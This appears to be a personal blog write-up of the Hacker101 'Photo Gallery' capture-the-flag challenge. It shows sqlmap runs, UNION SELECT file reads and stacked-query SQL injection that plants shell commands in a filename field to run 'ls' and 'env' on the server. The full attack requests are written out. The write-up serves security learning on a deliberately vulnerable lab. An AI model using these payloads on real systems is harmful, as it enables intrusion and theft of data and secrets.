Hacker101 CTF Photo Gallery [moderate] writeup

a write up for this web challenge


03. January 2021


This is my Write Up for the "Photo Gallery" challenge of HackerOne's CTF.

As usual we get a link to webpage, it seems to be an image gallery, but one of the images is broken. The missing one is called Invisible, so lets look into that.


initial page

Information gathering

with Burp we were able to find that the server returns no content for this image. images are loaded with a GET Request to the server like so:

GET /ad3e8c7df9/fetch?id=1 HTTP/1.1

this also aligns with the first tip we are provided:

Hint 1: Consider how you might build this system yourself. What would the query for fetch look like?

naturally we start fuzzing the id parameter.

1GET /ad3e8c7df9/fetch?id=4 HTTP/1.1 # 404
2GET /ad3e8c7df9/fetch?id=0 HTTP/1.1 # 404
3GET /ad3e8c7df9/fetch?id=-1 HTTP/1.1 # 500

alright, no quick wins, so let's give it a try with fizzing using sqlmap. Quickly we are able to see that the server seems to be vulnerable to some attack.

1sqlmap -u ""

This command runs for quite a while and will try to find vulnerabilities in the fetch endpoint. when we are done we should know what to do next.

Gathered Data

sqlmap identified the following injection point(s) with a total of 311 HTTP(s) requests:

1Parameter: id (GET)
2Type: boolean-based blind
3Title: AND boolean-based blind - WHERE or HAVING clause
4Payload: id=2 AND 3567=3567
6Type: time-based blind
7Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
8Payload: id=2 AND (SELECT 8480 FROM (SELECT(SLEEP(5)))KHRS)
1[21:44:44] [INFO] the back-end DBMS is MySQL
2web server operating system: Linux Ubuntu
3web application technology: Nginx 1.14.0
4back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

Our Target Server:

1| Type      | Service      | Version                  | Vulnerable?    |
2| --------- | ------------ | ------------------------ | -------------- |
3| OS        | Linux Ubuntu | ??                       | not focused    |
4| Webserver | Nginx        | 1.14.0                   | no             |
5| Database  | MySQL        | >= 5.0.12 (MariaDB fork) | yes (id param) |

Good, we got something, we know the server is vulnerable to multiple vulnerabilities such as a 'boolean base blind'. We also found the Webserver is Nginx v1.14.0, which sadly has no usable vulnerabilities here. But with us now knowing the exact os and DB System used lets run sqlmap again with that info and see what we get.

1sqlmap -u "" -f --os=linux --dbms=mysql --level=3 -o

we dont really get any more useful information from here. soo.. were kinda stuck lets just get another hint then:

Hint 2: Take a few minutes to consider the state of the union

The state uf the union? are they hinting on using UNION statements in the query? The UNION operator is used to combine the result-set of two or more SELECT statements. That seems like somethng we can make use of, so lets try and combine our query statements f.e. like this: UNION SELECT 'something'

but what do we look for? Lets get another hint.

Hint 3: This application runs on the uwsgi-nginx-flask-docker image

uwsgi-nginx? hmm havent heard of that, but sems to be some kind of portable all in one flask. lets look for the docs.

uWSGI can be configured using several different methods.

YAML, JSON, INI are some supported formats -> ini beeing the defualt so lets try getting the 'uwsgi.ini' file?

union select wiht burp repeater

this returns us some configdata pointing to module main which is the entrypoint.

2module = main
3callable = app

so lets see if we can also fethc the


Here we get lots of infos our first FLAG and the db connection settings:


2' % (pid, sanitize(ptitle)) fns.append(pfn) rep += 'Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '' rep += '
3\n' return home.replace('$ALBUMS$', rep) @app.route('/fetch') def fetch(): cur = getDb().cursor() if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0: abort(404)
4# It's dangerous to go alone, take this: # ^FLAG^9e6d57c394c129??????????????????????????????f74dbf2faa0abd571b32c7$FLAG$ return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read() if __name__ == "__main__":'', port=80)

return MySQLdb.connect(host="localhost", user="root", password="", db="level5")

we also see that they are using the photos table

cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))

lets try to fuzz that with sqlmap, since we now know the DB and tables info we can launch a targeted attack.

1sqlmap -u "" --method=GET --dump -D level5 -T photos -p id, --code=200 --ignore-code=500 --skip-waf -o --threads 2

This can take quite a while.. for me it crashed after 40 minutes, so i gave it another go with just focusing on the column filename since, here is the value we need.we do this by adding the -C parameter, i also increased the thradcount to 4 to try and get faster results. I also changed the url to contain id=3 since this is the id we want to get the info from.

1sqlmap -u "" --method=GET --dump -D level5 -T photos -p id, --code=200 --ignore-code=500 --skip-waf -o --threads 4 -C filename

This means that sqlmap will start with the filename of id=3 which is exactly what we want right now.

starts to query filename of id 3 So lets have a look at our results:

1Database: level5
2Table: photos
3[3 entries]
5| filename |
7| 9ef8fc5da15625db993f1c8e120beafc6873d801a804670b9497ecc782ca11fa |
8| files/adorable.jpg |
9| files/purrfect.jpg |

you might be getting partial values like so: 9ef8fc5di15625db993f1c8e120beafc6873d801a804670????????????????? you should be able to re-run sqlmap to find the missing characters 9ef8fc5da15625db993f1c8e120beafc6873d801a804670b9497ecc782ca11fa

decrypted: \*||+ls+-a+tmp.txt another file! nice lets try and get that with a UNION STATEMENT request like so:

GET /ad3e8c7df9/fetch?id=4 UNION SELECT 'tmp.txt'-- HTTP/1.1 hmm no luck it seems... let's do it another way.

From our previous findings we know that files are in the 'files' directory and that we can run sql statements on the id param. So we want to try to move the file or its contents so we can access it. We also got a new hint of using ls output to find temp file.

We want to run following statements via the vulnerable param:

ls in the /files directory and store data in bigWin.txt

update photos set filename='* || ls ./files >bigWin.txt ' where id=3; commit;

GET /ad3e8c7df9/fetch?id=1;%20update%20photos%20set%20filename=%27\*%20||%20ls%20./files%20%3EbigWin.txt%20%27%20where%20id=3;%20commit;%20-- HTTP/1.1

store all env data in bigWin.txt (because so often flags are here)

update photos set filename='* || env >bigWin.txt' where id=3; commit;

GET /ad3e8c7df9/fetch?id=1;%20update%20photos%20set%20filename%3D%27*%20%7C%7C%20env%20%3Etmp.txt%27%20where%20id%3D3%3B%20commit%3B%20-- HTTP/1.1

after you succsessfully ran those you should be able to run the union select again to get ahold of bigWin.txt!

GET /ad3e8c7df9/fetch?id=4 UNION SELECT 'bigWin.txt'-- HTTP/1.1

Tadaa!! we got it all.


© lwlx. 2021

Version 0.6.1